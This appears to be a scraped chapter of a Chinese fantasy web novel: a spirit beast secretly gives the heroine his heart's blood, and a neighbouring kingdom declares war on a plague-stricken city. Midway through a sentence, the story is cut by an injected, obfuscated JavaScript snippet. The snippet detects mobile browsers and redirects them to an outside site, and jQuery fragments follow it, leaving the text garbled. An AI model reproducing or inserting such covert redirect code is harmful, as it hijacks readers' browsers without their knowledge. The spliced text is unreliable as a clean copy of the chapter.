74.为谁而战

作品:《孤阙逐星

    一碗安神药下去,九方灵又再次陷入了沉睡,苍白的脸颊上,还带着方才惊惧未干的泪痕。


    风故知替她号完脉,道:“大抵长期囚禁损耗了元气,长途奔波更添亏虚。如今骤然脱困,惊惧未平,忧思又起,神不守舍,这才如此。”


    辉夜公主担忧地问道:“那不会有什么事儿吧?”


    “不会。但还是得好生休养,尽量少刺激她。”


    杨凛星倏然开口道:“那方才是有什么刺激到她了呢?”


    风故知脸上的表情一凝,随即又如常道:“不确定,或许是因为刚刚醒来,神情恍惚吧。”


    杨凛星对这话并不认同。九方灵醒来后虽然对外界有所抵触,但明显能看出她十分清醒,能认得出来人,辨认得出熟悉的声音,扑进她怀中的行为也足以证明,她的记忆完整,不会是风故知口中的神情恍惚。


    可——那是因为什么呢?杨凛星眼下也没有结论,所以她并没有开口反驳风故知。


    “那九方姑娘还得劳烦你多费心了。”


    风故知笑了下,道:“星儿跟我太客气了。”


    杨凛星也笑了笑 ,道:“我去看看青诀。”回来这么久了,他居然一次也没现身。


    她来到青诀的屋子门口,轻轻叩了几下门,“青诀,你在吗?”


    屋内没有回应。


    不安的感觉逐步上升,杨凛星也管不了那么多了,她今天必须要见青诀一面,确认他平安才行。


    “青诀,我进来了。”


    杨凛星一把推开房门走了进去,屋内布置的十分清冷,一张硬板床,一套粗木桌椅,墙角立着一个掉漆的旧衣柜,除此再无他物。床榻上,明显能瞧见一个人形蜷缩于被褥之下,杨凛星走近了些,不确定地叫道:“青诀?”


    被褥下的身影一动不动,杨凛星这才注意到,他似乎连微弱的呼吸起伏都没有。


    她心下一紧,俯身便想掀开被褥,谁知却被底下的人抢先坐了起来:


    “乌拉——!”


    这下可给杨凛星吓得一哆嗦,她心有余悸地捂住心口,无奈道:“你醒了怎么不早说?我还以为……”


    “还以为什么?还以为我死啦?”青诀懒散地向后一考,露出玩味地笑容,“我不都说了,我要冬眠吗?”


    杨凛星顿了顿,目光细致地在他脸上巡视,并没有看出有任何不妥,只是气色比之前似乎要差了些。


    “你……是不是没好好吃饭?”


    “什么话。”青诀倨傲地看了她一眼,“我们灵兽是靠灵力休养,不需要进食的,你不要拿我跟玉璃那臭弟弟相提并论啊。”


    杨凛星撇了撇嘴,心想:“好吧。”


    青诀道:“怎么了,找我有什么事儿?”


    “没事。”杨凛星朝他笑了笑,“就是回来这么久都没见你人,想来看看你。”


    青诀定定的望着她赤诚的脸,好一会儿,才小声道:“可真够肉麻的……”


    这话杨凛星没听见,确定了青诀没事她也就放心了,“那你好生冬眠,我不打扰你了。”说罢,她转身朝着门口走去。


    “等等。”


    杨凛星有些意外地回头,只见青诀不知从哪摸出来一个吊坠,坠子承圆柱形,隐约能瞧见里面装了点什么。


    “这是?”


    “好东西,送你了。”青诀随手一抛,杨凛星赶紧双手接住。拿近了仔细瞧才发现,这圆柱形的坠子其实是一个小型的琉璃瓶,可作容器,里面装着朱红的、流动的液体。


    “这到底是什么东西?”看着瓶内液体,杨凛星心中莫名有股不舒适之感。


    “你想知道啊?”青诀眉眼弯弯,笑得像春日枝头最招摇的那朵花,语气亲昵得近乎诱哄,“那我可就告诉你一个人哦。”


    然后,他用这明媚的语气,吐出了让杨凛星瞬间血液冻结、神魂俱裂的字句:


    “这是我的心头血。”


    杨凛星呆愣在原地,半晌,她的目光下移,从青诀那张人畜无害的脸来到他的胸口处。


    青诀夸张的捂住胸口,嚷道:“干嘛!你看哪儿呢,可别妄想调戏良家妇男啊!”


    见他肢体动作灵敏,说话中气十足,杨凛星从方才就一直憋着的那口气重重呼了出来。“你是在跟我开玩笑吧?”她摆正了脸色,语气也变得严肃起来:“这一点儿也不好笑。”


    闻言,青诀稍微敛了笑意,轻松道:“总之,你把这东西收好。关键时候,它能救命。”


    杨凛星不由得握紧了手心里的琉璃瓶,呢喃道:“你一直都没有告诉过我你的能力……”


    良久,她没有等来青诀的回答。最终,她选择当着青诀的面将这琉璃坠挂在了脖颈。


    “我会妥善保管,多谢。”


    青诀笑了笑,懒洋洋地挥了挥手,下了道逐客令:“那就没事儿了?我要继续冬眠了。”


    杨凛星点点头,轻声道:“那我先走了,你……不困的话,偶尔也出来和我们说说话。”


    青诀笑容淡了些,不置可否。


    待到杨凛星转身合上房门的一瞬间,他终于再也维持不住脸上的云淡风轻,喉头猛地一甜,一股灼热腥气直冲上来,他猝不及防地呛咳出声,随即“哇”地吐出一大口鲜血,溅在冰冷的地面上,触目惊心。


    他一只手死死撑住床板边缘,指节用力到泛白,青筋暴起,才终于对抗住那股要把人往下拽的晕眩和虚脱,将摇摇欲坠的上半身勉强掰了回来,重重靠回冰凉的墙壁上。


    他仰起头,后脑抵着墙面,脖颈拉出一道紧绷而脆弱的弧线,喉结剧烈地上下滚动,胸膛不受控制地起伏。不知过了多久,他才终于蓄起一点力气,抬手摸了一把嘴角。


    “呵……”青诀看着手背上骇人的血迹,粘腻的触感惹他的心头一阵恶心。


    “现在……也就……这点儿本事了。”


    说完,他疲惫的闭上眼,心想:“吾王,这是我最后能为您做的了。”


    -


    从青诀的房中出来没多久,杨凛星便在廊下撞见了正从外面归来的沈灵泽。他步履略显匆忙,眉宇间笼着一层罕见的凝重。


    “凛星,”沈灵泽迎上前,声音压得极低,带着刚从外头带回来的冷冽气息,“我方才在城内探听了一圈,得了消息。”


    他略一停顿,目光沉沉地看着她,才继续道:


    “瀛御国主对外宣称,昭华劫持其公主,悖逆人伦,犯我邦交。以此为名,正式向昭华国下了战书,三万大军……不日将至。”他的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16877707|189690||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    声音更沉了几分,一字一句,清晰得如同冰锥砸落,“兵锋所指的第一处,正是绵阳城。”


    “什么?!”杨凛星瞳孔骤缩,随即像是听到了世间最荒谬的笑话,嘴角扯出一抹近乎狰狞的弧度,“绵阳城?他们要攻打绵阳城?”


    她上前一步,声音压得极低,却字字如淬冰的刀锋:


    “这座城,如今还能叫‘城’吗?百姓死的死,逃的逃,十室九空!街上走的活人,怕是还没路边的野狗多!剩下的人,连喘口气都带着‘醉红’的病气,站直了都费劲——” 她猛地吸了口气,眼中是压不住的怒火与悲凉,“他们现在连安稳地活着都是奢望,哪来的力气、哪来的人,去打仗?!”


    沈灵泽沉默地看着她,心头亦是沉重万分。如今的绵阳城,莫说是抵挡瀛御的三万大军,哪怕只有三千,一人一抬手,就能轻易让这座城彻底成为历史。


    “他们的目标根本不是绵阳城。”震怒过后,杨凛星又恢复了平日里的那份沉稳与冷静,“他们的目标是我。”


    沈灵泽补充道:“他们的目标是你,然后是整个昭华国。”


    杨凛星苦涩一笑,心道:“现如今,我与昭华国还有和分别?”


    兜兜转转,千年轮回,轩辕王始终是昭华国血脉里烧不尽的火,骨头上剜不掉的魂。


    沈灵泽见她眉目紧锁,心中像是压了一块大石头,“凛星,此事你可要告知辉夜公主?她……”


    “我已经知道了。”


    一道清冷的声音自身后响起。


    杨凛星抬眸望去,只见辉夜公主自廊柱的阴影中缓步走出,她脸上没什么表情,唯有一双眼睛亮得惊人,直直看向杨凛星,又缓缓转向沈灵泽。


    “殿下。”


    “凛星,你听我说。”辉夜公主定定地看着杨凛星,坚定道:“你一定要守住绵阳城。”


    杨凛星一怔,犹豫片刻,还是提醒道:“公主殿下,那是你的父亲……”


    “我没忘记。”辉夜公主垂下眼眸,浓密的睫毛在她眼下印出一片阴影,“但我更没忘记——当日在祭台上,是他亲口下令,要将我当场诛杀,与你一同‘上路’。”


    “我来到昭华国,没去过多少地方,但我的眼睛实实在在看见了……现在,他居然打着‘救我’的名义,发动战争,他要让更多无辜的百姓流离失所,让更多土地被鲜血浸透……仅仅是为了成全他自己的野心……凛星,我觉得,真的很可笑。”


    杨凛星道:“公主殿下,这不是你的错。”


    “我知道。”辉夜公主抬起眼,目光清凌凌地望向她,“可是凛星,那你呢——”


    她向前踏了一小步,握住了杨凛星的手。


    “你知道吗,这同样,也不是你的错。”


    声音很轻,却带着一种斩断乱麻的力道。


    “你的身份……是命运使然,我父王……瀛御国主的贪念与野心,更不是你我能左右的。绵阳城的苦难,根源在毒疫、在天灾,更在那些利用它、践踏它的人心。”


    她看着杨凛星骤然收缩的瞳孔,语气愈发坚定:


    “不要把所有的枷锁都背在自己身上。你我已经在漩涡里了,但至少……我们得清楚,真正的敌人是谁,而我们,又该为什么而战。”